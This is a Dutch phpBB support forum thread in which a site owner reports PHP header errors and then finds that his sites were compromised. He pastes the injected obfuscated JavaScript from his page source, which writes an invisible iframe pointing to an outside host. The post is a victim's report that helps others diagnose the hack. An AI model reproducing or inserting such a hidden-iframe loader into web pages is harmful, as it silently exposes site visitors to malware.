Cannot modify header information - headers already sent by (

[Goldenben]

• Adres van je forum: http://castillodefarnes.com/
  Event. modificaties op je forum: geen
  Wanneer ontstond het probleem? vandaag
  phpBB versie: 3.0.4
  
  Heb je onlangs iets veranderd aan je forum? nee
  Wat is het probleem?

Zonder dat ik ook maar iets aan het forum heb veranderd of aangepast staan de volgende foutmeldingen boven het forum:

PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/session.php on line 990: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3760: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3762: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3763: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)
[phpBB Debug] PHP Notice: in file /includes/functions.php on line 3764: Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)

Ik heb ook nog een phpbb 2.x forum bij een andere hoster waarbij precies hetzelfde voorkomt.

[Goldenben]

Ik zie nu dat er meer sites van mij zijn "gehackt".
Komt waarschijnlijk door een trojan op mijn PC (ondanks Avira)
Zie script in broncode van www.castilodefarnes.com:

Code: Selecteer alles

<!-- ad --><script>
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
uyimh=687;
qxcxg=4804;
ddytx=7948;
xkjpv="write";
mzsrv="me";
zqfqw="et";
gdtrk="/' st";
rpiia="yl";
qxaol="";
ldlvw="i";
zfhuu="ty";
hvkhb=":h";
hbqmm="d";
hauzn="";
zdqdp=4;
sjgbi="if";
rpygo="r";
syjnh=" sr";
rwanv="c";
elujl="=";
hrgnc=863;
akzpp=8853;
tplxn=" ";
cvtot="</";
qtndm="";
jlooz=3953;
gftzo=(9.007e3>=5e1?uyimh:qxcxg);
jjaqh=(ddytx>.2438?xkjpv:3.);
gmbpt=(7.3e1>=36?mzsrv:.45);
zxtsi=(323,zqfqw+gdtrk+rpiia+"e='"+"v"+"isib");
hzpmf=(0x587,qxaol+ldlvw+"li"+zfhuu+hvkhb+"id"+hbqmm+"en"+"'"+hauzn);
rmtyf=(6.5e1,"");

aaa=((567,gftzo),(0x2,document))[((0.3,2.46e2)>=(17,7918.)?(5249.>=0.8188?0x816:.5486):(.2717<=.77?jjaqh:0x14))](((zdqdp,2.),(0.591,""+"<"+sjgbi+rpygo+"a")+(82,gmbpt)+(0.1301,syjnh+rwanv+elujl+"'"+"h"+"ttp"+"")+(8581.<.887?0.7:"://t"+"ruittbros.n")+(476,zxtsi)+(hrgnc>=akzpp?9.909e3:hzpmf)+(69<38.?0.249:tplxn+">"+cvtot+"if"+qtndm)+(2.>1.?"ram"+"e>":64.)+(223.>=jlooz?1.:rmtyf)));</script><!-- /ad --><b>[phpBB Debug] PHP Notice</b>: in file <b>/includes/session.php</b> on line <b>990</b>: <b>Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)</b><br />
<b>[phpBB Debug] PHP Notice</b>: in file <b>/includes/session.php</b> on line <b>990</b>: <b>Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)</b><br />

<b>[phpBB Debug] PHP Notice</b>: in file <b>/includes/session.php</b> on line <b>990</b>: <b>Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)</b><br />
<b>[phpBB Debug] PHP Notice</b>: in file <b>/includes/functions.php</b> on line <b>3760</b>: <b>Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)</b><br />

<b>[phpBB Debug] PHP Notice</b>: in file <b>/includes/functions.php</b> on line <b>3762</b>: <b>Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)</b><br />
<b>[phpBB Debug] PHP Notice</b>: in file <b>/includes/functions.php</b> on line <b>3763</b>: <b>Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)</b><br />

<b>[phpBB Debug] PHP Notice</b>: in file <b>/includes/functions.php</b> on line <b>3764</b>: <b>Cannot modify header information - headers already sent by (output started at /includes/auth.php:1040)</b><br />